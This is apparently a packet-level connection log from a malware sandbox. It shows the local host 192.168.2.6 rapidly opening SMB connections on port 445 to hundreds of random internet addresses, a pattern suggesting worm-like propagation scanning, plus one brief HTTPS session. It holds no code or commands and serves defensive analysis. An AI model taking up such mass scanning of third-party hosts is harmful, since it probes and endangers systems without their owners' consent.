Jul 21, 2022 04:36:19.465915918 CEST	54438	445	192.168.2.6	74.204.15.85
Jul 21, 2022 04:36:19.466161013 CEST	54440	445	192.168.2.6	81.4.140.115
Jul 21, 2022 04:36:19.466187000 CEST	54442	445	192.168.2.6	3.127.216.69
Jul 21, 2022 04:36:19.570422888 CEST	445	54440	81.4.140.115	192.168.2.6
Jul 21, 2022 04:36:19.802311897 CEST	54448	445	192.168.2.6	190.98.231.43
Jul 21, 2022 04:36:20.004945040 CEST	54450	445	192.168.2.6	207.180.242.56
Jul 21, 2022 04:36:20.029087067 CEST	445	54450	207.180.242.56	192.168.2.6
Jul 21, 2022 04:36:20.082448006 CEST	54440	445	192.168.2.6	81.4.140.115
Jul 21, 2022 04:36:20.187781096 CEST	445	54440	81.4.140.115	192.168.2.6
Jul 21, 2022 04:36:20.449059010 CEST	54453	445	192.168.2.6	54.78.161.124
Jul 21, 2022 04:36:20.449815989 CEST	54460	445	192.168.2.6	48.140.193.9
Jul 21, 2022 04:36:20.449840069 CEST	54461	445	192.168.2.6	84.127.80.220
Jul 21, 2022 04:36:20.449899912 CEST	54462	445	192.168.2.6	108.233.92.5
Jul 21, 2022 04:36:20.449947119 CEST	54464	445	192.168.2.6	85.117.13.189
Jul 21, 2022 04:36:20.450052023 CEST	54467	445	192.168.2.6	77.7.159.111
Jul 21, 2022 04:36:20.450123072 CEST	54469	445	192.168.2.6	89.104.120.73
Jul 21, 2022 04:36:20.450210094 CEST	54470	445	192.168.2.6	69.18.161.79
Jul 21, 2022 04:36:20.450356960 CEST	54472	445	192.168.2.6	120.199.237.224
Jul 21, 2022 04:36:20.450356960 CEST	54471	445	192.168.2.6	17.157.225.120
Jul 21, 2022 04:36:20.499620914 CEST	445	54469	89.104.120.73	192.168.2.6
Jul 21, 2022 04:36:20.535676956 CEST	54450	445	192.168.2.6	207.180.242.56
Jul 21, 2022 04:36:20.558885098 CEST	445	54450	207.180.242.56	192.168.2.6
Jul 21, 2022 04:36:20.568453074 CEST	54478	445	192.168.2.6	170.12.232.6
Jul 21, 2022 04:36:20.569207907 CEST	54479	445	192.168.2.6	210.26.84.165
Jul 21, 2022 04:36:20.570101023 CEST	54480	445	192.168.2.6	79.113.168.19
Jul 21, 2022 04:36:20.583995104 CEST	54483	445	192.168.2.6	171.243.24.221
Jul 21, 2022 04:36:20.586004972 CEST	54486	445	192.168.2.6	204.29.238.235
Jul 21, 2022 04:36:20.586724997 CEST	54487	445	192.168.2.6	173.20.165.200
Jul 21, 2022 04:36:20.587449074 CEST	54488	445	192.168.2.6	79.92.14.179
Jul 21, 2022 04:36:20.590218067 CEST	54491	445	192.168.2.6	70.90.105.10
Jul 21, 2022 04:36:20.591381073 CEST	54492	445	192.168.2.6	46.120.73.125
Jul 21, 2022 04:36:20.592255116 CEST	54493	445	192.168.2.6	140.66.100.94
Jul 21, 2022 04:36:20.593887091 CEST	54495	445	192.168.2.6	129.164.142.84
Jul 21, 2022 04:36:20.594665051 CEST	54496	445	192.168.2.6	210.136.97.162
Jul 21, 2022 04:36:20.595561028 CEST	54497	445	192.168.2.6	131.4.98.127
Jul 21, 2022 04:36:20.596642017 CEST	54498	445	192.168.2.6	14.115.21.240
Jul 21, 2022 04:36:20.597490072 CEST	54499	445	192.168.2.6	152.128.178.210
Jul 21, 2022 04:36:20.598500013 CEST	54500	445	192.168.2.6	131.103.148.251
Jul 21, 2022 04:36:20.605248928 CEST	54510	445	192.168.2.6	121.16.218.214
Jul 21, 2022 04:36:20.606728077 CEST	54512	445	192.168.2.6	16.55.59.36
Jul 21, 2022 04:36:20.816680908 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.816720009 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.817696095 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.818501949 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.818523884 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.880001068 CEST	54519	445	192.168.2.6	190.98.231.44
Jul 21, 2022 04:36:20.911439896 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.911587000 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.914058924 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.914073944 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.914464951 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.916250944 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.916307926 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.916317940 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.916501999 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.960498095 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.960907936 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.961005926 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.961229086 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.961385012 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:20.961397886 CEST	443	54517	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:20.961420059 CEST	54517	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:21.004383087 CEST	54469	445	192.168.2.6	89.104.120.73
Jul 21, 2022 04:36:21.054191113 CEST	445	54469	89.104.120.73	192.168.2.6
Jul 21, 2022 04:36:21.083955050 CEST	54521	445	192.168.2.6	207.180.242.57
Jul 21, 2022 04:36:21.552341938 CEST	54525	445	192.168.2.6	208.39.114.224
Jul 21, 2022 04:36:21.556811094 CEST	54532	445	192.168.2.6	131.200.69.193
Jul 21, 2022 04:36:21.557868958 CEST	54534	445	192.168.2.6	167.177.28.8
Jul 21, 2022 04:36:21.577517033 CEST	54536	445	192.168.2.6	175.136.222.29
Jul 21, 2022 04:36:21.577780962 CEST	54537	445	192.168.2.6	205.102.233.2
Jul 21, 2022 04:36:21.578038931 CEST	54540	445	192.168.2.6	16.210.187.194
Jul 21, 2022 04:36:21.578154087 CEST	54541	445	192.168.2.6	133.97.176.82
Jul 21, 2022 04:36:21.578257084 CEST	54542	445	192.168.2.6	181.181.217.170
Jul 21, 2022 04:36:21.578365088 CEST	54543	445	192.168.2.6	126.67.126.211
Jul 21, 2022 04:36:21.578474045 CEST	54544	445	192.168.2.6	122.230.36.18
Jul 21, 2022 04:36:21.695959091 CEST	54549	445	192.168.2.6	46.116.149.42
Jul 21, 2022 04:36:21.696891069 CEST	54550	445	192.168.2.6	75.134.198.12
Jul 21, 2022 04:36:21.698532104 CEST	54553	445	192.168.2.6	137.199.174.59
Jul 21, 2022 04:36:21.720454931 CEST	54555	445	192.168.2.6	41.25.64.133
Jul 21, 2022 04:36:21.722489119 CEST	54558	445	192.168.2.6	50.68.41.162
Jul 21, 2022 04:36:21.723613977 CEST	54559	445	192.168.2.6	190.246.230.200
Jul 21, 2022 04:36:21.724464893 CEST	54560	445	192.168.2.6	195.224.215.207
Jul 21, 2022 04:36:21.726089954 CEST	54563	445	192.168.2.6	195.0.144.155
Jul 21, 2022 04:36:21.726794004 CEST	54564	445	192.168.2.6	165.154.26.201
Jul 21, 2022 04:36:21.727319002 CEST	54565	445	192.168.2.6	51.33.177.67
Jul 21, 2022 04:36:21.728288889 CEST	54567	445	192.168.2.6	73.30.51.111
Jul 21, 2022 04:36:21.728821993 CEST	54568	445	192.168.2.6	93.104.6.37
Jul 21, 2022 04:36:21.729314089 CEST	54569	445	192.168.2.6	218.224.33.155
Jul 21, 2022 04:36:21.737029076 CEST	54570	445	192.168.2.6	32.77.192.158
Jul 21, 2022 04:36:21.738184929 CEST	54571	445	192.168.2.6	134.221.58.129
Jul 21, 2022 04:36:21.738188982 CEST	54576	445	192.168.2.6	116.228.112.133
Jul 21, 2022 04:36:21.738286972 CEST	54578	445	192.168.2.6	12.95.177.232
Jul 21, 2022 04:36:21.738383055 CEST	54580	445	192.168.2.6	74.141.134.11
Jul 21, 2022 04:36:21.738714933 CEST	54588	445	192.168.2.6	39.204.251.156
Jul 21, 2022 04:36:21.943667889 CEST	54589	445	192.168.2.6	190.98.231.45
Jul 21, 2022 04:36:22.150918007 CEST	54591	445	192.168.2.6	207.180.242.58
Jul 21, 2022 04:36:22.688837051 CEST	54596	445	192.168.2.6	110.89.245.54
Jul 21, 2022 04:36:22.691415071 CEST	54603	445	192.168.2.6	2.74.65.16
Jul 21, 2022 04:36:22.691783905 CEST	54604	445	192.168.2.6	133.37.254.126
Jul 21, 2022 04:36:22.697247982 CEST	54607	445	192.168.2.6	205.235.40.98
Jul 21, 2022 04:36:22.697457075 CEST	54608	445	192.168.2.6	91.196.32.180
Jul 21, 2022 04:36:22.697549105 CEST	54609	445	192.168.2.6	57.33.233.113
Jul 21, 2022 04:36:22.697679996 CEST	54610	445	192.168.2.6	178.34.236.40
Jul 21, 2022 04:36:22.697799921 CEST	54611	445	192.168.2.6	14.33.66.63
Jul 21, 2022 04:36:22.697983980 CEST	54615	445	192.168.2.6	63.139.107.215
Jul 21, 2022 04:36:22.698020935 CEST	54614	445	192.168.2.6	63.196.198.18
Jul 21, 2022 04:36:22.818392038 CEST	54620	445	192.168.2.6	164.223.185.143
Jul 21, 2022 04:36:22.821216106 CEST	54624	445	192.168.2.6	108.55.168.17
Jul 21, 2022 04:36:22.822041035 CEST	54625	445	192.168.2.6	202.158.169.125
Jul 21, 2022 04:36:22.822803974 CEST	54626	445	192.168.2.6	38.132.221.69
Jul 21, 2022 04:36:22.824181080 CEST	54628	445	192.168.2.6	129.235.180.77
Jul 21, 2022 04:36:22.838377953 CEST	54630	445	192.168.2.6	149.173.161.19
Jul 21, 2022 04:36:22.839304924 CEST	54631	445	192.168.2.6	1.134.156.99
Jul 21, 2022 04:36:22.840030909 CEST	54632	445	192.168.2.6	39.179.4.123
Jul 21, 2022 04:36:22.841451883 CEST	54634	445	192.168.2.6	107.29.77.144
Jul 21, 2022 04:36:22.841794014 CEST	54633	445	192.168.2.6	99.45.234.137
Jul 21, 2022 04:36:22.869529963 CEST	54636	445	192.168.2.6	163.121.157.36
Jul 21, 2022 04:36:22.872421980 CEST	54637	445	192.168.2.6	221.153.202.106
Jul 21, 2022 04:36:22.872699022 CEST	54638	445	192.168.2.6	98.2.107.118
Jul 21, 2022 04:36:22.873507977 CEST	54641	445	192.168.2.6	141.224.18.77
Jul 21, 2022 04:36:22.873677015 CEST	54642	445	192.168.2.6	99.204.129.97
Jul 21, 2022 04:36:22.877111912 CEST	54648	445	192.168.2.6	27.253.166.78
Jul 21, 2022 04:36:22.877115965 CEST	54650	445	192.168.2.6	129.102.141.187
Jul 21, 2022 04:36:22.877242088 CEST	54651	445	192.168.2.6	88.124.176.198
Jul 21, 2022 04:36:22.877616882 CEST	54659	445	192.168.2.6	64.215.234.219
Jul 21, 2022 04:36:23.021019936 CEST	54660	445	192.168.2.6	190.98.231.46
Jul 21, 2022 04:36:23.224203110 CEST	54662	445	192.168.2.6	207.180.242.59
Jul 21, 2022 04:36:23.250910044 CEST	445	54662	207.180.242.59	192.168.2.6
Jul 21, 2022 04:36:23.754667997 CEST	54662	445	192.168.2.6	207.180.242.59
Jul 21, 2022 04:36:23.780769110 CEST	445	54662	207.180.242.59	192.168.2.6
Jul 21, 2022 04:36:23.805013895 CEST	54668	445	192.168.2.6	41.182.160.41
Jul 21, 2022 04:36:23.805649042 CEST	54675	445	192.168.2.6	33.158.141.87
Jul 21, 2022 04:36:23.805697918 CEST	54676	445	192.168.2.6	164.28.187.217
Jul 21, 2022 04:36:23.818717957 CEST	54679	445	192.168.2.6	54.127.83.36
Jul 21, 2022 04:36:23.819633007 CEST	54680	445	192.168.2.6	114.241.254.214
Jul 21, 2022 04:36:23.823098898 CEST	54683	445	192.168.2.6	57.46.138.134
Jul 21, 2022 04:36:23.823121071 CEST	54684	445	192.168.2.6	83.134.120.242
Jul 21, 2022 04:36:23.823299885 CEST	54686	445	192.168.2.6	179.200.202.176
Jul 21, 2022 04:36:23.823324919 CEST	54685	445	192.168.2.6	183.179.90.62
Jul 21, 2022 04:36:23.823425055 CEST	54688	445	192.168.2.6	176.113.110.8
Jul 21, 2022 04:36:23.945321083 CEST	54692	445	192.168.2.6	72.35.243.15
Jul 21, 2022 04:36:23.945543051 CEST	54698	445	192.168.2.6	217.80.27.60
Jul 21, 2022 04:36:23.945636988 CEST	54697	445	192.168.2.6	88.90.234.38
Jul 21, 2022 04:36:23.945636988 CEST	54696	445	192.168.2.6	49.122.113.80
Jul 21, 2022 04:36:23.945950985 CEST	54701	445	192.168.2.6	157.139.20.107
Jul 21, 2022 04:36:23.958479881 CEST	54702	445	192.168.2.6	161.240.32.140
Jul 21, 2022 04:36:23.959045887 CEST	54703	445	192.168.2.6	178.102.116.163
Jul 21, 2022 04:36:23.959511995 CEST	54704	445	192.168.2.6	37.211.110.81
Jul 21, 2022 04:36:23.960031986 CEST	54705	445	192.168.2.6	180.109.223.232
Jul 21, 2022 04:36:23.960530996 CEST	54706	445	192.168.2.6	9.74.239.125
Jul 21, 2022 04:36:23.990040064 CEST	54708	445	192.168.2.6	30.183.163.190
Jul 21, 2022 04:36:23.990760088 CEST	54709	445	192.168.2.6	92.178.60.143
Jul 21, 2022 04:36:23.991425991 CEST	54710	445	192.168.2.6	93.10.158.138
Jul 21, 2022 04:36:23.993484020 CEST	54713	445	192.168.2.6	117.125.190.130
Jul 21, 2022 04:36:23.994220972 CEST	54714	445	192.168.2.6	57.97.47.22
Jul 21, 2022 04:36:24.007472038 CEST	54720	445	192.168.2.6	72.23.235.157
Jul 21, 2022 04:36:24.011346102 CEST	54721	445	192.168.2.6	116.79.225.251
Jul 21, 2022 04:36:24.012124062 CEST	54722	445	192.168.2.6	196.154.113.247
Jul 21, 2022 04:36:24.012403965 CEST	54731	445	192.168.2.6	197.154.195.23
Jul 21, 2022 04:36:24.099385023 CEST	54732	445	192.168.2.6	190.98.231.47
Jul 21, 2022 04:36:24.303806067 CEST	54734	445	192.168.2.6	207.180.242.60
Jul 21, 2022 04:36:24.915668964 CEST	54740	445	192.168.2.6	10.133.38.91
Jul 21, 2022 04:36:24.938357115 CEST	54748	445	192.168.2.6	191.243.52.71
Jul 21, 2022 04:36:24.938421011 CEST	54750	445	192.168.2.6	218.207.95.2
Jul 21, 2022 04:36:24.938445091 CEST	54746	445	192.168.2.6	32.123.20.147
Jul 21, 2022 04:36:24.938572884 CEST	54752	445	192.168.2.6	93.177.2.189
Jul 21, 2022 04:36:24.938680887 CEST	54755	445	192.168.2.6	9.100.223.95
Jul 21, 2022 04:36:24.938762903 CEST	54756	445	192.168.2.6	222.223.200.252
Jul 21, 2022 04:36:24.938841105 CEST	54757	445	192.168.2.6	220.116.195.140
Jul 21, 2022 04:36:24.938894987 CEST	54758	445	192.168.2.6	139.219.201.47
Jul 21, 2022 04:36:24.939007044 CEST	54760	445	192.168.2.6	80.21.75.31
Jul 21, 2022 04:36:25.053198099 CEST	54764	445	192.168.2.6	73.182.120.122
Jul 21, 2022 04:36:25.055546999 CEST	54768	445	192.168.2.6	124.3.130.68
Jul 21, 2022 04:36:25.056730986 CEST	54769	445	192.168.2.6	214.90.154.61
Jul 21, 2022 04:36:25.057290077 CEST	54770	445	192.168.2.6	45.72.2.25
Jul 21, 2022 04:36:25.058716059 CEST	54773	445	192.168.2.6	211.185.206.4
Jul 21, 2022 04:36:25.069175959 CEST	54775	445	192.168.2.6	27.195.57.171
Jul 21, 2022 04:36:25.069941998 CEST	54776	445	192.168.2.6	209.15.54.133
Jul 21, 2022 04:36:25.070643902 CEST	54777	445	192.168.2.6	17.182.86.111
Jul 21, 2022 04:36:25.071016073 CEST	54778	445	192.168.2.6	87.159.127.68
Jul 21, 2022 04:36:25.071517944 CEST	54779	445	192.168.2.6	174.193.254.33
Jul 21, 2022 04:36:25.101316929 CEST	54780	445	192.168.2.6	111.122.235.135
Jul 21, 2022 04:36:25.101572037 CEST	54781	445	192.168.2.6	56.249.0.113
Jul 21, 2022 04:36:25.101579905 CEST	54782	445	192.168.2.6	51.109.192.24
Jul 21, 2022 04:36:25.101710081 CEST	54785	445	192.168.2.6	203.205.247.205
Jul 21, 2022 04:36:25.102402925 CEST	54786	445	192.168.2.6	214.39.143.89
Jul 21, 2022 04:36:25.119553089 CEST	54789	445	192.168.2.6	22.140.180.183
Jul 21, 2022 04:36:25.119698048 CEST	54797	445	192.168.2.6	124.74.140.28
Jul 21, 2022 04:36:25.119797945 CEST	54800	445	192.168.2.6	104.58.127.10
Jul 21, 2022 04:36:25.171390057 CEST	445	54770	45.72.2.25	192.168.2.6
Jul 21, 2022 04:36:25.177650928 CEST	54804	445	192.168.2.6	190.98.231.48
Jul 21, 2022 04:36:25.365142107 CEST	54806	445	192.168.2.6	207.180.242.61
Jul 21, 2022 04:36:25.442364931 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:25.676709890 CEST	54770	445	192.168.2.6	45.72.2.25
Jul 21, 2022 04:36:25.792717934 CEST	445	54770	45.72.2.25	192.168.2.6
Jul 21, 2022 04:36:25.848664999 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:26.037193060 CEST	54813	445	192.168.2.6	107.32.96.31
Jul 21, 2022 04:36:26.045016050 CEST	54815	445	192.168.2.6	19.214.119.117
Jul 21, 2022 04:36:26.045530081 CEST	54816	445	192.168.2.6	144.182.218.203
Jul 21, 2022 04:36:26.045607090 CEST	54818	445	192.168.2.6	168.72.163.108
Jul 21, 2022 04:36:26.045825005 CEST	54820	445	192.168.2.6	114.110.49.50
Jul 21, 2022 04:36:26.046056032 CEST	54829	445	192.168.2.6	108.105.174.86
Jul 21, 2022 04:36:26.046060085 CEST	54827	445	192.168.2.6	128.131.14.31
Jul 21, 2022 04:36:26.046236992 CEST	54830	445	192.168.2.6	199.80.216.6
Jul 21, 2022 04:36:26.046286106 CEST	54831	445	192.168.2.6	156.239.94.203
Jul 21, 2022 04:36:26.046350002 CEST	54832	445	192.168.2.6	172.165.113.55
Jul 21, 2022 04:36:26.161782026 CEST	54837	445	192.168.2.6	23.120.140.0
Jul 21, 2022 04:36:26.165281057 CEST	54840	445	192.168.2.6	44.248.53.137
Jul 21, 2022 04:36:26.166470051 CEST	54841	445	192.168.2.6	60.199.117.236
Jul 21, 2022 04:36:26.167114973 CEST	54842	445	192.168.2.6	112.194.188.87
Jul 21, 2022 04:36:26.169698954 CEST	54846	445	192.168.2.6	205.74.72.153
Jul 21, 2022 04:36:26.195368052 CEST	54847	445	192.168.2.6	46.206.14.46
Jul 21, 2022 04:36:26.202094078 CEST	54848	445	192.168.2.6	61.4.220.32
Jul 21, 2022 04:36:26.202403069 CEST	54849	445	192.168.2.6	39.125.141.53
Jul 21, 2022 04:36:26.202512026 CEST	54850	445	192.168.2.6	2.87.98.100
Jul 21, 2022 04:36:26.202569008 CEST	54851	445	192.168.2.6	199.7.90.247
Jul 21, 2022 04:36:26.225173950 CEST	54855	445	192.168.2.6	162.8.44.36
Jul 21, 2022 04:36:26.226242065 CEST	54857	445	192.168.2.6	141.13.1.254
Jul 21, 2022 04:36:26.233031034 CEST	54868	445	192.168.2.6	13.53.190.33
Jul 21, 2022 04:36:26.233160973 CEST	54866	445	192.168.2.6	58.1.250.82
Jul 21, 2022 04:36:26.233164072 CEST	54869	445	192.168.2.6	30.8.234.101
Jul 21, 2022 04:36:26.233258963 CEST	54873	445	192.168.2.6	108.23.177.248
Jul 21, 2022 04:36:26.233388901 CEST	54872	445	192.168.2.6	28.18.115.106
Jul 21, 2022 04:36:26.233391047 CEST	54875	445	192.168.2.6	10.200.178.120
Jul 21, 2022 04:36:26.233514071 CEST	54876	445	192.168.2.6	170.189.229.225
Jul 21, 2022 04:36:26.255903006 CEST	54877	445	192.168.2.6	190.98.231.49
Jul 21, 2022 04:36:26.443847895 CEST	54879	445	192.168.2.6	207.180.242.62
Jul 21, 2022 04:36:26.468461990 CEST	445	54879	207.180.242.62	192.168.2.6
Jul 21, 2022 04:36:26.973678112 CEST	54879	445	192.168.2.6	207.180.242.62
Jul 21, 2022 04:36:26.998276949 CEST	445	54879	207.180.242.62	192.168.2.6
Jul 21, 2022 04:36:27.167256117 CEST	54886	445	192.168.2.6	183.59.98.128
Jul 21, 2022 04:36:27.168989897 CEST	54888	445	192.168.2.6	160.188.211.42
Jul 21, 2022 04:36:27.169064999 CEST	54891	445	192.168.2.6	113.109.114.149
Jul 21, 2022 04:36:27.169085026 CEST	54889	445	192.168.2.6	135.171.10.99
Jul 21, 2022 04:36:27.169131041 CEST	54892	445	192.168.2.6	132.199.128.37
Jul 21, 2022 04:36:27.169147015 CEST	54890	445	192.168.2.6	2.112.176.11
Jul 21, 2022 04:36:27.169487000 CEST	54900	445	192.168.2.6	13.224.217.31
Jul 21, 2022 04:36:27.169631958 CEST	54902	445	192.168.2.6	34.62.106.54
Jul 21, 2022 04:36:27.169770002 CEST	54904	445	192.168.2.6	41.144.69.240
Jul 21, 2022 04:36:27.169924974 CEST	54905	445	192.168.2.6	96.251.92.10
Jul 21, 2022 04:36:27.290030003 CEST	54910	445	192.168.2.6	13.152.240.53
Jul 21, 2022 04:36:27.290327072 CEST	54914	445	192.168.2.6	168.204.138.227
Jul 21, 2022 04:36:27.290441990 CEST	54916	445	192.168.2.6	75.25.251.117
Jul 21, 2022 04:36:27.290469885 CEST	54915	445	192.168.2.6	123.195.136.205
Jul 21, 2022 04:36:27.290527105 CEST	54918	445	192.168.2.6	220.123.163.180
Jul 21, 2022 04:36:27.303364992 CEST	54920	445	192.168.2.6	12.160.123.93
Jul 21, 2022 04:36:27.305479050 CEST	54921	445	192.168.2.6	212.7.196.166
Jul 21, 2022 04:36:27.305663109 CEST	54922	445	192.168.2.6	148.108.19.245
Jul 21, 2022 04:36:27.305912971 CEST	54924	445	192.168.2.6	209.121.171.165
Jul 21, 2022 04:36:27.306093931 CEST	54925	445	192.168.2.6	53.53.227.248
Jul 21, 2022 04:36:27.335390091 CEST	54928	445	192.168.2.6	54.43.156.50
Jul 21, 2022 04:36:27.362571955 CEST	54930	445	192.168.2.6	174.1.199.194
Jul 21, 2022 04:36:27.371006012 CEST	54940	445	192.168.2.6	155.89.186.207
Jul 21, 2022 04:36:27.371110916 CEST	54941	445	192.168.2.6	216.129.45.251
Jul 21, 2022 04:36:27.371260881 CEST	54944	445	192.168.2.6	135.242.58.63
Jul 21, 2022 04:36:27.371371984 CEST	54945	445	192.168.2.6	189.214.24.30
Jul 21, 2022 04:36:27.371588945 CEST	54948	445	192.168.2.6	177.216.177.212
Jul 21, 2022 04:36:27.371689081 CEST	54949	445	192.168.2.6	122.17.90.32
Jul 21, 2022 04:36:27.374030113 CEST	54946	445	192.168.2.6	19.63.203.148
Jul 21, 2022 04:36:27.374079943 CEST	54950	445	192.168.2.6	190.98.231.50
Jul 21, 2022 04:36:27.521554947 CEST	54951	445	192.168.2.6	207.180.242.63
Jul 21, 2022 04:36:28.255063057 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:28.277544022 CEST	54960	445	192.168.2.6	110.185.139.91
Jul 21, 2022 04:36:28.279458046 CEST	54962	445	192.168.2.6	202.74.211.92
Jul 21, 2022 04:36:28.279516935 CEST	54963	445	192.168.2.6	80.123.69.122
Jul 21, 2022 04:36:28.279654980 CEST	54965	445	192.168.2.6	94.19.230.246
Jul 21, 2022 04:36:28.279660940 CEST	54964	445	192.168.2.6	153.117.217.254
Jul 21, 2022 04:36:28.279777050 CEST	54966	445	192.168.2.6	65.146.37.131
Jul 21, 2022 04:36:28.280165911 CEST	54977	445	192.168.2.6	76.187.48.121
Jul 21, 2022 04:36:28.280235052 CEST	54973	445	192.168.2.6	91.9.114.150
Jul 21, 2022 04:36:28.280339003 CEST	54976	445	192.168.2.6	22.55.228.219
Jul 21, 2022 04:36:28.280339003 CEST	54980	445	192.168.2.6	14.135.162.207
Jul 21, 2022 04:36:28.415751934 CEST	54984	445	192.168.2.6	213.234.88.140
Jul 21, 2022 04:36:28.420553923 CEST	54985	445	192.168.2.6	19.188.195.82
Jul 21, 2022 04:36:28.424416065 CEST	54986	445	192.168.2.6	48.107.241.254
Jul 21, 2022 04:36:28.424504042 CEST	54988	445	192.168.2.6	150.254.181.121
Jul 21, 2022 04:36:28.424614906 CEST	54990	445	192.168.2.6	143.150.202.2
Jul 21, 2022 04:36:28.424616098 CEST	54991	445	192.168.2.6	92.58.149.123
Jul 21, 2022 04:36:28.424779892 CEST	54995	445	192.168.2.6	131.254.126.240
Jul 21, 2022 04:36:28.424783945 CEST	54994	445	192.168.2.6	192.59.109.231
Jul 21, 2022 04:36:28.424889088 CEST	54997	445	192.168.2.6	82.83.216.201
Jul 21, 2022 04:36:28.424967051 CEST	54998	445	192.168.2.6	57.85.20.36
Jul 21, 2022 04:36:28.448529005 CEST	55000	445	192.168.2.6	190.98.231.51
Jul 21, 2022 04:36:28.461184025 CEST	55003	445	192.168.2.6	121.7.157.216
Jul 21, 2022 04:36:28.510469913 CEST	55008	445	192.168.2.6	183.98.199.76
Jul 21, 2022 04:36:28.510739088 CEST	55009	445	192.168.2.6	102.108.42.106
Jul 21, 2022 04:36:28.510968924 CEST	55017	445	192.168.2.6	207.211.29.17
Jul 21, 2022 04:36:28.511127949 CEST	55020	445	192.168.2.6	88.166.247.156
Jul 21, 2022 04:36:28.511177063 CEST	55021	445	192.168.2.6	23.15.4.135
Jul 21, 2022 04:36:28.511235952 CEST	55023	445	192.168.2.6	12.78.167.160
Jul 21, 2022 04:36:28.511307955 CEST	55022	445	192.168.2.6	203.124.200.120
Jul 21, 2022 04:36:28.513168097 CEST	55016	445	192.168.2.6	171.206.98.176
Jul 21, 2022 04:36:28.516067028 CEST	445	54948	177.216.177.212	192.168.2.6
Jul 21, 2022 04:36:28.600588083 CEST	55025	445	192.168.2.6	207.180.242.64
Jul 21, 2022 04:36:28.621326923 CEST	445	55025	207.180.242.64	192.168.2.6
Jul 21, 2022 04:36:29.130106926 CEST	55025	445	192.168.2.6	207.180.242.64
Jul 21, 2022 04:36:29.150609970 CEST	445	55025	207.180.242.64	192.168.2.6
Jul 21, 2022 04:36:29.396600008 CEST	55034	445	192.168.2.6	146.251.223.77
Jul 21, 2022 04:36:29.397770882 CEST	55036	445	192.168.2.6	98.63.9.52
Jul 21, 2022 04:36:29.408247948 CEST	55037	445	192.168.2.6	112.22.195.104
Jul 21, 2022 04:36:29.409811020 CEST	55038	445	192.168.2.6	48.27.70.180
Jul 21, 2022 04:36:29.409853935 CEST	55039	445	192.168.2.6	36.191.121.85
Jul 21, 2022 04:36:29.409914017 CEST	55041	445	192.168.2.6	92.61.81.143
Jul 21, 2022 04:36:29.410171986 CEST	55048	445	192.168.2.6	117.55.40.226
Jul 21, 2022 04:36:29.410228968 CEST	55050	445	192.168.2.6	6.125.111.235
Jul 21, 2022 04:36:29.410300970 CEST	55051	445	192.168.2.6	222.195.173.134
Jul 21, 2022 04:36:29.410367966 CEST	55053	445	192.168.2.6	85.222.141.3
Jul 21, 2022 04:36:29.444396019 CEST	445	55041	92.61.81.143	192.168.2.6
Jul 21, 2022 04:36:29.521887064 CEST	55058	445	192.168.2.6	190.98.231.52
Jul 21, 2022 04:36:29.538405895 CEST	55061	445	192.168.2.6	122.191.128.213
Jul 21, 2022 04:36:29.539583921 CEST	55063	445	192.168.2.6	151.74.168.43
Jul 21, 2022 04:36:29.540112972 CEST	55064	445	192.168.2.6	189.18.188.158
Jul 21, 2022 04:36:29.541114092 CEST	55066	445	192.168.2.6	212.82.152.9
Jul 21, 2022 04:36:29.542666912 CEST	55069	445	192.168.2.6	196.156.138.128
Jul 21, 2022 04:36:29.543112040 CEST	55070	445	192.168.2.6	83.94.73.78
Jul 21, 2022 04:36:29.543638945 CEST	55071	445	192.168.2.6	14.31.61.165
Jul 21, 2022 04:36:29.544351101 CEST	55072	445	192.168.2.6	28.194.33.85
Jul 21, 2022 04:36:29.545399904 CEST	55074	445	192.168.2.6	129.146.86.224
Jul 21, 2022 04:36:29.545458078 CEST	55073	445	192.168.2.6	138.37.166.42
Jul 21, 2022 04:36:29.586961031 CEST	55079	445	192.168.2.6	201.85.182.131
Jul 21, 2022 04:36:29.621568918 CEST	55083	445	192.168.2.6	18.166.37.99
Jul 21, 2022 04:36:29.627051115 CEST	55087	445	192.168.2.6	69.247.121.153
Jul 21, 2022 04:36:29.627213001 CEST	55091	445	192.168.2.6	115.112.192.147
Jul 21, 2022 04:36:29.627337933 CEST	55094	445	192.168.2.6	149.91.238.120
Jul 21, 2022 04:36:29.627367020 CEST	55093	445	192.168.2.6	136.40.240.19
Jul 21, 2022 04:36:29.627398968 CEST	55095	445	192.168.2.6	177.36.212.18
Jul 21, 2022 04:36:29.627515078 CEST	55098	445	192.168.2.6	145.121.32.231
Jul 21, 2022 04:36:29.627521992 CEST	55097	445	192.168.2.6	115.81.101.74
Jul 21, 2022 04:36:29.677608967 CEST	55100	445	192.168.2.6	207.180.242.65
Jul 21, 2022 04:36:29.958297968 CEST	55041	445	192.168.2.6	92.61.81.143
Jul 21, 2022 04:36:29.992779016 CEST	445	55041	92.61.81.143	192.168.2.6
Jul 21, 2022 04:36:30.521467924 CEST	55109	445	192.168.2.6	80.138.194.230
Jul 21, 2022 04:36:30.522444963 CEST	55111	445	192.168.2.6	126.156.176.66
